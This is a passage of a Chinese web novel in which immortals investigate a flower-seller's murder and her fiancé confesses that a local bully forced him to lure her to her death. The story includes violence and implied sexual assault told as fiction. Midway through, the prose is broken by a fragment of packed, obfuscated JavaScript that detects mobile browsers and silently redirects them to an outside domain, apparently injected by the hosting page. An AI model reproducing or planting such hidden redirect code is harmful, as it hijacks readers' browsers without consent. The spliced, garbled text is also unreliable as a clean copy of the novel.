小家伙当然不明白她在说什么,只是盯着宋芸的脸看,咿咿呀呀地,愣了半晌,又笑开了。 宋芸也没忍住,那天晚上,她抱着被丢弃的宋允棠,跪在那株海棠树下,又哭又笑,倒还真有几分像是他们口中所说的疯子了。 后来,宋芸就将她带回了家,给她取名叫做宋允棠。宋允棠,宋芸糖,既是她们的初遇,又代表着上天垂怜她,并没有让她的人生都是悲惨的,宋允棠就是上天赐给她的糖。 宋允棠的出现,加大了宋芸的一切开支,两张嘴要吃饭,宋芸为此必须要付出比之前更多的辛苦才行。日子虽然辛苦清贫,但看着宋允棠乖巧懂事的笑,宋芸便是觉得一切都值了,以往太多的日子里,她都是一个人,没有人会等她回家,陪在她身边,但如今,都有了。 宋允棠一天天地长大了,她懂事,乖巧,温柔,知道宋芸对她好,便也掏心窝子地对她好。 那段时光里,宋允棠会陪着宋芸一起去荷塘摘花,去码头卖花。她们一起看旭日东升,一起看夕阳西下,一起踏过积水的水洼,一起走过长满青苔的青巷…… 宋允棠很乖,再累也不叫苦。她会端着小马扎乖乖地坐在宋芸旁边,撸起袖子,帮她收拾挑拣荷花,她会撑着破旧的油纸伞,安安静静地遮在两人头顶,看着街头走过的人来人往。 “阿棠很乖,她知道我的难处,她从来都不嫌弃我,也不喊累,好多次,我卖完花了,就看见她靠在码头的栏杆上,闭着眼睛睡着了。看着她的脸,我又心疼又酸涩,那是天底下最乖最好的孩子了,”宋芸跪坐在宋允棠的新坟面前,低头看着手中那块银质平安锁坠,细细摩挲着,“小时候,她看着别人家的小孩有零食吃,有漂亮的新衣服穿,有漂亮的头饰戴,她虽然不说,但是我知道,她是想要的,可当我问她要不要时,她却总是说不要。” “我知道,她不是不想要,她是心疼我,心疼我的钱。后来她七岁生辰那日,我攒下一笔钱,差人为她打了这枚平安锁,比起其他家长送给孩子的珠宝玉石打造的,这枚银质的确实不算什么很贵重的东西,可那天晚上,阿棠拿到这枚锁时,脸上洋溢的笑,是我再也忘不了的,纯澈,明朗。” “后来,阿棠长大了,我也一天天老了,很多时候,阿棠就会代替我背着竹背篓去码头卖花。阿棠生得好看,有一回,在卖花回来的路上,就遭到了几个不学无术的的混混的纠缠,我抄着扫帚就上去,将他们赶跑了,但是我也后怕,所以后来我就不敢让阿棠一个人去卖花,不管怎样,我都要和她一起去。” 闻言,秦湘和身边几人对望一眼,这几个不学无术的混混,估摸着就是程鸿恩那一伙人了。 宋芸的眼泪淌了下来,她闭了闭眼,又接着道:“接下来的日子,我和阿棠一起去采花卖花,过了很久都没有再 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“苏子煜是个清秀文人,他与阿棠的相遇也是偶然,机缘巧合之下帮了阿棠,后来他便有意无意地出现在了阿棠身边。他温柔体贴,虽然看着斯斯文文地模样,但干起活来毫不马虎,不叫苦也不叫累,窈窕淑女,君子好逑,次数一多,我们便也都看出来了他对阿棠的情意,我看得出来,阿棠自然也是喜欢他的。而我终有一天会老会死,陪不了阿棠一辈子,阿棠还那么年轻,她需要有一个托付,一个嘘寒问暖的人陪伴在身边,所以我也没有过多地阻拦他们两人的交集。” 三花听到此处,眼神颇为凄楚,她看着宋芸,又轻声道:“那后来呢?” “后来啊,苏子煜就上门来提亲了,他跪在我面前,求我将阿棠托付给他,跟我保证会对阿棠好的。我看着阿棠站在他身边,眼里是有他的,想来也是愿意的,于是便答应了,等到今年海棠开的时候,便让他娶我的阿棠过门,”宋芸静了片刻,等再开口之时,声音中已经带上了哭腔,“可是,我的阿棠,她……她……还没有等到海棠花开,便这么先行离我而去了……” 宋芸说到此处,便是再也支撑不住了,眼泪簌簌地往下掉,她用右手手掌撑住眼眶,喉间发出阵阵细碎哽咽。 她记得,那天是除夕夜,冬日里没有荷花,卖的是银柳与腊梅。逢上新春佳节,这两种花寓意好,是最好卖的。可那日清晨,天气却不大好,乌云密布,恐有大雨。她本来说要不今日就不去卖花好了,但宋允棠却道,下雨我带伞就好了,这个花要是不卖掉,就要砸在手里啦,我不能让奶奶的辛苦白费。 于是宋允棠便背着一背篓的银柳腊梅,拿着一把老旧的油纸伞,站在门扉处,朝着宋芸笑道:“奶奶,回去吧,如果下雨的话,我可能会晚点回家,你乖乖在家等我,等我卖了这些,回来给你买糖花糕吃。” 她背着竹背篓,背影清瘦却亭亭玉立,她回头,看着宋芸站在门口的身影,温柔笑道:“回去吧奶奶,别站在门口了,风大,回去吧。” 宋芸笑着应好,步子却不动,她站在门口,目送着宋允棠远去。那时的她,是怎么也想不到,那天消失在小巷口的那个身影,从此就再也没能回家,如果她要早知道,那天她是无论如何都不会放她走的,可惜,在这个世上,没有早知道,也没有如果。 宋芸呜咽着,一阵春风拂过,吹落了一朵粉色的海棠,海棠自树梢悠悠飘下,落在了宋芸颤抖着的手心。她愣了愣,泪眼模糊地看着面前的这一抹粉色,模糊间,就好像那个温柔明朗的孩子自远处跑来,扑进她的怀中,亲昵地搂着她的脖子,甜甜地唤着她奶奶一般。 宋芸怔了怔,她突然猛地起身,回头,看了身后的四人一眼,然后在众人都没有反应过来的情况之下,双膝跪下!! 众人心中大惊,连忙就要上去扶她,秦湘也跪在她身前,扶住她的双臂就试图将她拉起来:“奶奶你这是做什么!快起来!” “姑娘,我知道,你是腾岳之巅的仙君,这几位道长也是有能力之人,我的阿棠死得如此之惨,被人害死斩断头颅还要抛尸荒野,好狠毒啊,”宋芸咬牙切齿道,“请求姑娘,为我家阿棠申冤哪,只要姑娘能为阿棠沉冤昭雪,让杀害我家阿棠的凶手伏法,祭奠阿棠的在天之灵,我宋芸此生便是为姑娘做牛做马,我也愿意,求求你了,姑娘!!” 她一边哭着,一边说着,一边还要猛地朝着几人磕头。秦湘连忙抱住她,将她按在怀里,看着此情此景,也不住地流眼泪,她一边拍着宋芸的背,一边不住地安抚她,声音虽然颤抖哽咽,却也坚定:“奶奶,你放心吧,我就是为此事而来,我一定会查明真相,给宋姑娘申冤,将坏人绳之以法,让他们付出相应的代价,你放心吧。” 宋芸满脸泪水,听得秦湘的话,她才顿了顿,目光涣散,轻声道:“多谢……” 言罢,她便两眼一闭,直挺挺地歪倒在了秦湘怀中,看着怀中昏死过去的宋芸,秦湘大惊,连忙喊道:“乔玉洲!!” 27.负卿卿心 四人将宋芸带回了她的家,一个两居一室的小屋。宋允棠的那个房间虽小,却也置办了个姑娘家的梳妆台和一只小木衣柜。 而宋芸这边的房间内却家徒四壁,除了有一张小小老旧的床榻和一个圆木墩坐凳之外,再无其他。宋芸躺在床榻上,乔玉洲坐在她身边,替她看诊。 见他收回手,秦湘连忙问道:“怎么样了?宋奶奶可还好?” 乔玉洲摇了摇头,又点了点头,半晌,一声叹息,道:“算好也不算好,她这是急火攻心所导致的突然昏厥,无大碍,我等会去药房给她抓几味中药服下便好,但最主要的还是这心病,如果她的情绪一直是这样的话,这病就不容易好,以后严重点可能会吐血,甚至猝死也是有可能的。” 三人闻言,一阵无语。心病还须心药医,如果宋芸自己不愿意放过自己,再好的医师和药石也无用。 秦湘皱着眉头,也叹了一口气,温声道:“这是我们不能左右的,希望宋奶奶自己早日看清吧,宋姑娘肯定也不会想看到她这样的。” 乔玉洲也道:“希望吧。” 几人又在宋芸的床边守了一个半时辰,中途乔玉洲带着三花出去为她抓了几副中药回来,在小院里煎好后喂她服下。 许久未见她醒来,于是四人便兵分两道,由乔玉洲和三花留在这照看着宋芸,而长锦秦湘则去那苏子煜住的地方探一探。 推开那两扇老旧的木质门扉,秦湘脚步一顿,回头又望了望庭院。长锦看着她的动作,问道:“怎么了?” “神君,说起来,你有没有看见小白?”秦湘转回了身子,小小的庭院一览无余,四下安静,哪里还能看见那小白狗的影子? 长锦也转回了身子,目光在庭院之中扫视了一圈,确实没有看见那白狗的影子。他轻声道:“也许是自己又跑出去玩了吧。” 秦湘闻言,也没多想,顿了顿,点点头,“也是,走吧,那我们去隔壁那个姐姐家问问,苏子煜家的住址吧。” 两人并肩走着,秦湘敲响了隔壁第五户人家的门,毫不意外,开门的还是上午那个妇人。她看着门口的两人,先是一怔,旋即笑道:“呀?小仙君?你还在这里呀?芸婶怎么样了?” 秦湘点点头:“还好,目前还在睡着,我朋友是医师,此时正在照看着。” “哦,这样啊,那我晚点去看看她,给她做点吃的送去。”那妇人若有所思地点点头,又看着面前的两人,问道,“两位仙君来找我可还有什么事吗?” “有的,姐姐,我想请问一下,你可认识那个叫做苏子煜的书生?” “啊?苏子煜?那不是阿棠的心上人吗?”妇人听到这个名字,小小地惊讶了一下,要说起苏子煜,她对这人可就印象深刻了。样貌俊秀,公子如玉,与宋允棠站在一起简直就是男才女貌,好不般配。她皱着眉头一声叹息,“苏子煜是个书生,是去年和阿棠结识的,那小伙子不错,看着清清秀秀,但好多次我都看见他过来芸婶家帮忙干活呢,从来不喊苦不喊累,本来两人是定了今年成亲的。” “说起来,定的成亲的日子好像就是这几日,可惜啊,人算不如天算,好好的一场姻缘,就成了这样,阿棠失踪后,那苏子煜确实也没来过了,他家也是大门紧闭,但要是说阿棠与他就这样私奔了的那种鬼话,我是万万不会相信的,本来就能名正言顺的成亲,何苦还要抛下一切背负骂名去私奔?” 那妇人陷入了回忆之中,叨叨絮絮地说了许多,说完,又是一声叹息。一阵感慨过后,才伸手揩了揩眼角,吸了吸鼻子,笑道:“唉呀,瞧我,一说起这些就这样,让二位仙君见笑了。” “没有没有,人之常情,宋姑娘的事情确实让人唏嘘,闻者落泪,见者伤心,没有什么可见笑的,”秦湘摆摆手,顿了顿,又问,“那既如此,姐姐可是知道那苏子煜住在何处?可否指点?” “你们要去找苏子煜?”闻言,那妇人激动道,“你们是在查阿棠的事情吗?阿棠找到了?” 看着那妇人的眼睛,秦湘僵硬地点了点头,“找到了,宋姑娘的尸首已下葬,我们答应了宋奶奶会为她沉冤昭雪,所以还请姐姐知无不言,指点一二。” “什么?!”妇人简直不可置信,勃然色变。好半晌,才反应过来,手指在门板上捏得铁青。她僵了片刻,声音平静:“苏子煜无父无母,孑然一身,码头直走过去那边有一座文庙,他就住在文庙旁边的那间小屋里,不过,自从除夕阿棠失踪过后,那间小屋也人去楼空,仙君要想去看看就自行进去看看吧。” 秦湘明了,点了点头,朝着妇人抱拳行了一礼:“多谢姐姐。” “不用谢,”妇人说,“只求仙君能为芸婶阿棠做主就行了,她们实在是太可怜了。” “我们会的。” 告别了妇人,秦湘和长锦便往她所说的那个文庙赶去。文庙旁边确实有一间小屋,门扉紧闭,却没上锁,两人顿时觉得奇怪,不是说苏子煜也不见踪迹了吗?为何这大门却没有上锁?转念一想,难道是因为这几天是苏子煜和宋允棠原定的大喜之日,苏子煜对宋允棠还是有情的,心中有情,所以去而又返? 怀着这些疑问,秦湘和长锦彼此相互望了一眼,秦湘伸手叩响门扉,“请问,有人在家吗?” 等了半晌,里面安安静静,秦湘等了等,复而又叩了三下,却还是没有一点声响。看来是她想错了,也许苏子煜并没有回来,只是他离开之时并未将门上锁。想到这,秦湘便不再敲门了,转手将门推开,两人一起走进了这小院。 站在庭院之中,两人扫了一眼面前的景象,一副荒凉破败的模样,杂草丛生,水井生锈,小屋的门窗之上都已结了蛛丝,积了几层厚厚的落灰。 “看来苏子煜真的已经离去,”秦湘在这庭院之中走了几步,伸手在那门窗之上摸了一把,满手的灰尘,“这里像很久很久没有人住过的样子了。” 话音一落,忽然一阵瓷器掉落的声音从屋内传来,在这寂静的小院之中显得格外地清晰。 秦湘心中一动,一把将面前的房门推开,两人一齐走了进去。屋内,一个穿着大红吉服,容貌清秀俊朗的男子正靠着墙角坐下,一旁,立着一个木架,木架之上支着的是一件与他身上吉服相配的大红女子衣裙,而他脚边,堆积着几个小酒坛子。 与他相对应的另一面墙上,还留有一大片湿润的水渍,墙角之下,是一地破碎的酒坛瓦片。秦湘与长锦进来之时,那男子眼神混沌,脸色潮红,手中还握着一个酒坛正在灌酒,俨然一副醉鬼模样。 满地狼籍,满屋酒气,秦湘皱着眉头走了过去,打量了他几眼,道:“你可是苏子煜?” 那男子掀起眼帘,懒懒地看了她一眼,冷哼一声,“是又如何?不是又如何?这与你又有何关系?”说罢,转过脸去,拿起一旁的酒坛子旁若无人地又灌了两口。 “别喝了!”秦湘被他这副模样整得火大,伸手便夺过他手中的酒坛,丢在一旁摔得粉碎。 那男子也瞬间暴起,他双目赤红,就恶狠狠地朝秦湘扑过来,“你算什么东西,也要来管我!你们算什么东西?凭什么管我!!” 长锦眼疾手快,伸手就将秦湘拉了过来,眼神再朝着那男子一凛,一条金色锁链凭空而出,将他捆了个结实,扔在了墙角。 男子大声地嘶吼尖叫着,挣扎着,无意间,却碰倒了架在一旁的女子喜服。他一愣,连忙爬了过去,手指在空中发着抖,僵了片刻,将那衣裙抱在怀中,撕心裂肺地嚎哭起来。 一会儿喊着:“阿棠!你杀了我吧!你快来杀了我!我知道,你今天会来的,今天死的就会是我,你来吧,快来吧,带我一起走吧!!” 一会儿又喊着:“阿棠,对不起,我真的不是故意的,我再也没脸见你了,就算死后入地府你也不会想见我的,对不起,阿棠!!” 见他这副模样,两人此时也终于确认,面前的人便是苏子煜无疑了。 两人就站在原地,默默地看着他发了一会儿的疯。秦湘揉了揉眉心,看着他这副模样,只觉得是虚伪可笑加恶心。她捏了捏拳,实在是忍不住了,转身便向外走去,来到了庭院中的那个水井前,摇了一桶冷水提了进来,劈头盖脸地便朝着面前的这个男人泼去。 苏子煜被她这么一泼,瞬间一个激灵,他大张着嘴巴,伸手抹了一把脸上的水。等再抬头看向长锦和秦湘时,眼神已经清明了不少,看样子,酒是醒了一大半。 秦湘将手中的木桶放下,冷冷地瞧了他一眼,“清醒了?能好好答话了?” “你们是谁?”苏子煜一愣,低头看了看绑在自己身上的灵力锁链,目光警惕,“为何闯入我的家中,又为何要锁着我?” “我是敲过门才进来的,不算闯,”秦湘蹲下,与他齐平盯着他,“至于为何锁你,是你先奋起伤人,我是自当防卫,你要是现在清醒了能好好答话了,我就放开你。” 苏子煜与秦湘互盯了片刻,终于,别开了眼,语气疲惫:“好,你们先放开我。” 秦湘抬脸,看向长锦:“神君?” 长锦看了她一眼,手指微动,那缚住苏子煜的灵力锁链便随之退去,消失不见。 “好了,说说吧,你和程鸿恩他们是怎么杀害宋允棠的?”秦湘起身,也懒得再和他绕弯子了,凌厉的目光如寒冰一样落在他脸 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“疼死我了。”秦湘甩甩手,嘶了一声。长锦握着她发红的掌心,蹙着眉头看了下,“没事吧?” “无碍,”秦湘朝他摇摇头,收回手掌,转而对上苏子煜的目光。她冷冷道:“这回清醒了?不发疯了?你给我好好想一想,宋允棠到底是不是你杀的!” 苏子煜被秦湘的声音震得一愣,他呆呆地盯着秦湘的脸。从她那双冷若寒冰的眼瞳之中,看到了自己现在的模样,一袭大红的喜服,一个披着人皮的禽兽。 他再也忍受不住了,抱紧身子不断后退,啕嚎大哭,对着那散落在地的衣裙不断磕头,不断认错:“对不起,阿棠,对不起,我是无心的,我也很后悔,我是真的爱你,阿棠,对不起……” “好了,收起你这副虚情假意的样子,你这种人,也配说爱。宋允棠要是听见你这句话,怕是只会恶心,明明是你伙同程鸿恩一起杀死的她,现在还何必在这里猫哭耗子假慈悲,彰显自己对她的情意有多深吗?你要是真喜欢她,你又怎么会杀死她?虚伪至极,假情假意。” “不,不是我,我没有杀她,是他们,是他们杀的,”苏子煜猛然回头,厉声道,愣了半晌,声音又小了下去。他无力地跪坐在地,目光呆滞,喃喃道,“不对,也是我,是我将她带了过去,是我亲手将她送到恶魔手中,最后还亲眼目睹了她的死亡。我就站在门口,听着她的叫喊,听着她的哭声,听着她在叫我的名字,可是,我却无动于衷,我就听着她的声音逐渐小了下去,最后万物归寂,阿棠她,死不瞑目……” “阿棠她是个好女子,生得漂亮,温柔善良,我是真的喜爱她,可是,我也是真的软弱,可能就如你所说,我的爱太廉价,在危难之际是我将她抛弃,任凭她被那群畜牲……欺辱致死。” 苏子煜口中所说的那群畜牲,自然便是程鸿恩等人。他跌坐在地上,回忆着这段事情,眼神呆滞,心中涩然。像是憋在心中太久,终于找到一个宣发的缺口般,不用秦湘再次发问,他便自顾自地慢慢讲了下去。 苏子煜幼时丧母,父亲是个教书先生,一副软弱可欺的模样。苏子煜也随了其父,生得一副胆小软弱的性子,去年父亲一场重病去世之后,他便操起了父亲的老本行,平日里靠给小儿教书赚取家用。 本来他与宋允棠,一个卖花女,一个教书人,如果不是刻意,是不会有什么交集的。 那时的宋允棠已经长开了,雪肤明眸,眉眼如画,活脱脱一个美人胚子。自古以来便有老话说,窈窕淑女,君子好逑。因为在外卖花需要抛头露面,所以宋允棠这副出尘的容貌自然也就吸引了玉溪城中的一众青年才俊。 其中就包括了程家员外的公子程鸿恩。程家在玉溪城内算一个排得上名号的富商大贾,程家夫妇老来得子,膝下只有这么一个宝贝儿子,自然对他就宠爱有加。由此以来,便也纵了他一副骄奢淫逸,不学无术的二流模样。 正如之前秦湘所说,程鸿恩在家温和良善,孝顺听话,可在外,那就是一整个地痞无赖。仗着自己家大业大,在玉溪城的街头巷尾横行霸道,也有被他欺负得狠了的人,去程府门口找过程家夫妇告他的状。可是程家夫妇眼里的程鸿恩一直是乖巧听话的,又怎么可能会相信人们口中所说的那个街头霸主是他们的儿子呢?于是在众目睽睽之下,便将那人乱棍轰了出去。 后来这件事被程鸿恩知道了,当即便带着一群阿谀奉承他的狗腿子找到了那人,将人堵在巷子里,狠狠地揍了一顿,去了半条命。从那之后,再也没有敢再找上门去告状的人,而程鸿恩也越发地无法无天,凶狠肆意。 28.人间恶鬼 程鸿恩被宋允棠的美貌吸引,隔三差五地便带着他那群狐朋狗友去将人拦在巷子里。因为对她的喜爱,前期并没有对她起过多歹毒的心思,还颇有几分耐心地对她表达着自己的心意。 可宋允棠并不喜欢他,他的所作所为,她并不是没有耳闻。所以对于这些示好,每次她都是冷冷地回绝了,或者平静地看着他在她面前一顿表演,然后等他说完了,一言不发,转身离去。 得不到的永远在骚动,一开始程鸿恩还觉得这种冰冷冷的美人才能勾起他的征服欲。可次数一多,他便受不住了。觉得,程府的名号在玉溪城内赫赫有名,他作为程府少爷,想要多少女人那还不是勾勾手指的事?宋允棠这个卑贱的卖花女,他看上她是她的福气,可她竟然敢仗着他对她的耐心一次又一次地在众人面前拂他的面子! 程少爷忍不了了,有一回,在宋允棠卖完花背着背篓走进小巷之时,他便带着几个人将人拦下。这次,不再是好言好语,他们将她堵在巷子里,死扣住她的手,拉扯着她的衣服,扇着她的耳光。 宋允棠大声尖叫,后来叫喊声吸引来了宋芸,宋芸是个疯女人,和人打起来是豁出去不要命的打法。程鸿恩怕将事情闹大,也只能作罢,带着那群阿谀奉承的狗腿子便离开了。 经此一遭,宋芸便不敢让宋允棠一个人出去卖花了,那段时间,祖孙俩一直是同进同出。程鸿恩没有下手的机会,心里也咽不下这口气。 这时,身边一个心思多的朋友便给他出了个主意。找一个人来做一场戏,让那人装作温柔良人去接近宋允棠,然后骗取她信任,到时候,他想做什么都可以了。 程鸿恩一听,瞬间便喜笑颜开,揪着那人的脖颈将人拉近,拍了两下,又将腰间系着的一块和田美玉解下来扔给他,“好小子,赏你的。” 主意是有了,但这人选是个问题。程少爷是个纨绔,身边的一群狐朋狗友也不是什么好样子,要装成一副温柔谦谦公子的模样确实难。于是在街头巷尾一番打听,将目光锁定在了苏子煜身上。 苏子煜父母双亡,是个胆小软弱的迂腐书生,长得清秀俊朗,又没有什么背景,确实是一个很好拿捏的软柿子。于是几人一番合计后,便踹开了苏子煜家的门。 那一天,苏子煜在私塾里刚教完书,本来也没什么社交活动,于是便抱着书卷早早地归了家。 那时的苏子煜,并不知道他家的门后,有那样一群恶魔在等着他。他与往常一样,抱着书卷,手里提着几个肉夹馍饼子,推开了家里的门。 而程鸿恩就躺坐在庭院之中,手里拿着本从里屋搜刮出来的书卷,双腿交叉着靠放在一旁的石磨上,在他身后,还站着几个与他年纪相仿的青年。苏子煜推开门的手僵在半空之中,脸上的表情瞬间凝固。 “苏公子?”程鸿恩看见了他,笑眯眯地将腿挪开,打了个哈欠,“你可让我好等?” 苏子煜站在门口,看着面前人脸上挂着的那阴寒的笑,他愣了一下,一种不寒而栗的感觉刹那间从脚底升到了头皮。几乎是不带犹豫的,他将手中的书卷饼子丢了一地,转身就跑。 “啧。”程鸿恩不悦地低嗤了一声,他身后站着的几个青年瞬间便冲了出去。 苏子煜毕竟是个读书人,哪里会跑得过这些人,没过多久,便气喘吁吁,被他们摁倒在地,一顿狠揍之后,押送到了程鸿恩面前。 有人一脚踢在了他的膝盖关节处,苏子煜腿一软,扑通一声便跪倒在了程鸿恩面前。他哆哆嗦嗦地发着抖,立马磕头颤声道:“程少爷饶命,饶过我吧,求求你,放过我……” 程鸿恩被他这副模样取悦了,眼神里都带着精光。他微微俯身,用手中的书卷挑起他的下巴,强迫他抬起脸对上他的眼睛。他眯着眼睛,嘴角扯起一个绚烂的笑,“苏公子,你跑什么呢?我这么大老远地过来拜访你,你不仅连一杯水都不倒给我喝,反而还拔腿就跑,作为先生,你不觉得你这样的行为太失礼了吗?” 苏子煜一怔,脸色煞白。他想移开脸,身后却有人揪着他的头发,迫使他就这么仰头看着面前笑容灿烂却如恶魔厉鬼般阴寒可怖的程鸿恩。 程鸿恩轻笑一声,直起身子,将手中的书卷随手一扔,坐了回去,目光越过苏子煜落在了地上的几个肉夹馍饼子上。他顿了顿,又将视线放回他脸上,笑道:“苏公子还没吃午饭呢吧?羊肉夹馍,扔了怪可惜的,来啊,你们几个,伺候苏公子吃饭,等他吃饱了,我们再好好聊。” 话音一落,便有人压住他的手,掉在地上的肉夹馍沾染着泥灰,就这么一个一个粗暴地塞进了他的嘴里。 苏子煜来不及吞咽,喉咙下意识地便呕吐了出来,那饼子掉在了地上,他一阵剧烈地咳嗽。还未缓过劲来,一个凶狠的巴掌就甩在了他的脸上,嘴角瞬间便见了血。那人双目圆瞪,凶神恶煞:“程少爷赏你的,你敢吐出来?!” 苏子煜再也忍不住了,他爬起来,又爬到了程鸿恩脚底下,颤抖着身子磕头认错:“对不起,对不起,程少爷,求你饶命,我一介书生,一穷二白,什么也没有,求求你,高抬贵手,大人有大量,就放过我吧,求求你。” 他涕泪俱下,跪在他面前,像一条乞怜摇尾的狗。 程鸿恩伸了个懒腰,抬手挥了挥,“既然苏公子这么说了,那我就放你一马,你们下去,别吓着苏公子。” 身旁的人听到他的话,一个一个地散开了,又站回了程鸿恩身后。 苏子煜心下一惊,愣了愣,不可置信地抬头看了程鸿恩一眼,随之不住地磕头道谢。 “谢就不用了,好了,现在来聊聊我们的事吧,”程鸿恩说着,又站起了身子,慢悠悠地朝着他走了过来,皮笑肉不笑地看着他,“方才苏公子不是说你一介书生,一穷二白,什么也没有吗?正巧,本公子今日前来,就是来给你送美人的,你要是不要啊?” “什么?”苏子煜一怔,脑子里有片刻空白,他不解地看向程鸿恩。 程鸿恩笑了笑,将那个人出的主意与苏子煜说了一遍,让他与他们做一场戏,然后骗取宋允棠的信任,然后再将她带来给他们。 苏子煜毕竟还是个读书人,这样的事从来没做过,心里也深知这是万万做不得的,当下便犹豫了没有直接答应,于是他的拒绝又遭来了一顿毒打。 那一天,程鸿恩带着那四个人,就在他家,将他狠狠地折磨来折磨去,整整一天,从正午到晚上。到最后,他遍体鳞伤,全身上下没有一块好肉,苏子煜终于忍受不住了,只能松口答应。 后来,他们做了一场戏,将卖完花回家的宋允棠和宋芸祖孙俩拦在巷子里,然后再由苏子煜出面,带着由程鸿恩随从扮演的官吏上前来赶走他们,从而英雄救美,与之结缘。 从那之后,苏子煜就常常出现在宋允棠身边,帮她卖花,帮她摘花,帮她干活。 宋允棠一开始是拒绝的,可苏子煜温柔俊雅,分寸把握的又是极好,既不唐突,也不显得冷淡。他读过书,讲起话来也是别有一番风趣,比起大字不识横行霸道的程鸿恩来那简直就是一个天上一个地下。 于是时间一长,两人就这么熟稔起来了。按照计划,苏子煜只要骗取到了宋允棠的信任就好,然后再将她约出来,带到程鸿恩指定的地点。 可人算不如天算,苏子煜也没想到,在这场算计的相遇里,他竟然会真的喜欢上宋允棠,这是在他的意料之外的。 明白自己对宋允棠的感情之后,苏子煜便陷入了两难,一边是心上人,一边是自己,他很痛苦,他恨自己的无能与软弱,保护不了自己喜欢的姑娘。他甚至想过要不带着宋允棠私奔,离开这个地方,去一个程鸿恩找不到的地方,可是这是不现实的,宋允棠放不下宋芸,而他,也不能让她知道真相,知道这一切都是个骗局,他是一个畜牲,而他们之间的感情,只是一个意外。 日子一天天过去,程鸿恩也在不断地催促着他,让他将宋允棠带出来,一开始,他还能找借口推脱,说还不行,宋允棠警惕心很强,还得再过段时日。可随着次数一多,程鸿恩便失去了耐心。 那日,是除夕夜,不用去私塾教书,苏子煜吃过早饭,便准备出门,去宋允棠家中为她劈些柴火。可他还未曾走出大门,程鸿恩便伙集着一群狐朋狗友,怒气冲冲地冲进了他的家里,将他一顿毒打。 程鸿恩将他的头踩在脚下,不断碾压,眉宇间带着显而易见的怒气。他低沉道:“苏子煜,你最好要看清楚你自己的位置,别给你几分颜色你就开染坊。” 苏子煜捏了捏拳,又无力地松开,沉默了良久,最终,闭了闭眼,咬牙道:“不敢。” 闻言,程鸿恩冷哼一声,“很好,你还知道不敢,本公子已经没有这么多耐心和你在这里扯东扯西了,就以今日为限,若是天黑之前我还没有看见宋允棠的影子,那你,就不用看见明天的太阳了,听懂了吗?!” “听懂了。”苏子煜仿若行尸走肉,他只能机械式地按照本能反应作出回答。 后来,他们将他恶狠狠地踹了出去。那天天气不好,下起了大雨,苏子煜跌坐在门口,伤口沾上雨水泥土,火辣辣的疼。可他却浑然不知,一个人在雨幕里坐了良久,久到寒气入体,全身冰凉,失去知觉,他才慢慢爬起身,一阵又哭又笑,缓缓转身离去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841330|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青石板贴成的小巷里空无一人,直到走到熟悉的门扉面前,看着那两朵圆润的荷花,苏子煜才恍然大悟,眼神聚焦起来,他愣愣地盯了一会。透过门缝看着里屋的明黄烛光,顿了顿,瞳孔紧缩,抬手,猛然就给了自己一记狠狠的耳光,“畜生!” 在宋允棠家门口站了许久,他好多次都想推开那扇虚掩着的门,可手举起的那一瞬间,却无论如何都推不下去。 到最后,他离开了,他鼓足了一次勇气。他不知道自己回去会面对什么,可能会死吧,但那也无所谓了,好歹,他也勇敢了一回。 软弱的人用尽了所有的勇气勇敢了那一回,那时的苏子煜确实以为自己能保护宋允棠一回,是唯一的一回。 可偏偏,宋允棠出现了,出现在了他的面前,让他最终还是遵循了自己内心深处最真实的想法。 从宋允棠家离开后,苏子煜也不知道自己要去哪里,除了回家,天地之大,没有他的容身之处。而他还不能这么早回家,他知道,只要他一踏进那个家门,他的生命也就终止于此了。 于是一个人在大雨中乱晃,他走过曾经和宋允棠一起走过的大街小巷。模糊雨幕之中,他看见一个熟悉的身影背着熟悉的竹背篓撑着一把油纸伞朝他走来,是宋允棠。 苏子煜不知道该怎么形容自己此时的心情,乌黑的眸子死死地盯着面前的女孩,一言不发。就像即将渴死的人看见了一泓清泉一样,他就这么看着她朝着自己一步一步走近。 走近了,宋允棠才认出面前的人,看着苏子煜全身湿透,脸上一片青紫。她一惊,连忙跑过去,将伞撑在两人头顶,声音焦急,带着关切:“苏公子,你为何会在这?怎么不撑伞?你的脸又是怎么了?发生了何事?” 看着宋允棠漂亮温柔的脸庞,听着她语气里的关心,苏子煜心头一颤,心中酸涩不言而喻。 他嘴角微动,想说些什么,却什么也说不出来,只能将人拉入怀中,双手紧紧地抱住,恨不得将她嵌入血肉之中。 宋允棠被他这失态的动作吓得一呆,等反应过来之后,就想推开他。可她才轻轻一动,苏子煜便不住地发抖,将她拥得更紧,一开口,声音嘶哑得厉害:“不要动,阿棠,求你,就这样让我抱一会儿,一会儿就好。” 宋允棠一愣,想推开他的手无论如何也推不下去了,僵在空中半晌。最终,轻轻地落下,搂住了他的背,一下两下地轻拍着,安慰着。 过了很久很久,苏子煜才松开她,宋允棠不知道发生了什么事,只是看着他失魂落魄的模样,心中也没由得来地跟着难过。她看向他,嗓音温柔似水,“苏公子,到底发生了何事?你没事吧?” 大概是他眼睫被雨水打湿,显得模糊,宋允棠并没有看见他眼中那复杂的情绪。苏子煜沉默了片刻,才摇摇头,轻声道:“我没事。” 宋允棠是个凡事先为他人着想的姑娘,看着苏子煜这副模样,又没伞,她也不放心让他一个人回去,于是便提出要先送他回家,然后再自己回去。 两人共撑一把伞,走到苏子煜的家门口,宋允棠抬手就要推门,千钧一发之际,苏子煜握住了她的指尖。 宋允棠不明所以,抬眼望向他,“怎么了?” 苏子煜看了她许久,最终,松开了她的手。 心里想过无数次就这样拉着宋允棠转身就跑吧,可到头来,从嘴边说出来的,只有平静、冰凉、残忍的两个字,“没事。” 听到此处为止,秦湘已是怒极。 没事?他竟然说没事?!怎么会没事!就算苏子煜不再说下去,秦湘也能想象那会是一副怎样的场景,可他居然能就这么眼睁睁地看着宋允棠走进去,推开那扇让她万劫不复的门!! “畜牲!混账!你还是人吗?!你竟然让她走了进去!!你为什么要让她走进去!!”滔天的怒火被宣泄出来,秦湘一脚踹向苏子煜。这一脚力道之大,将他踹飞到了墙上,又沿着墙壁滑落,掉在地上,当场吐血。 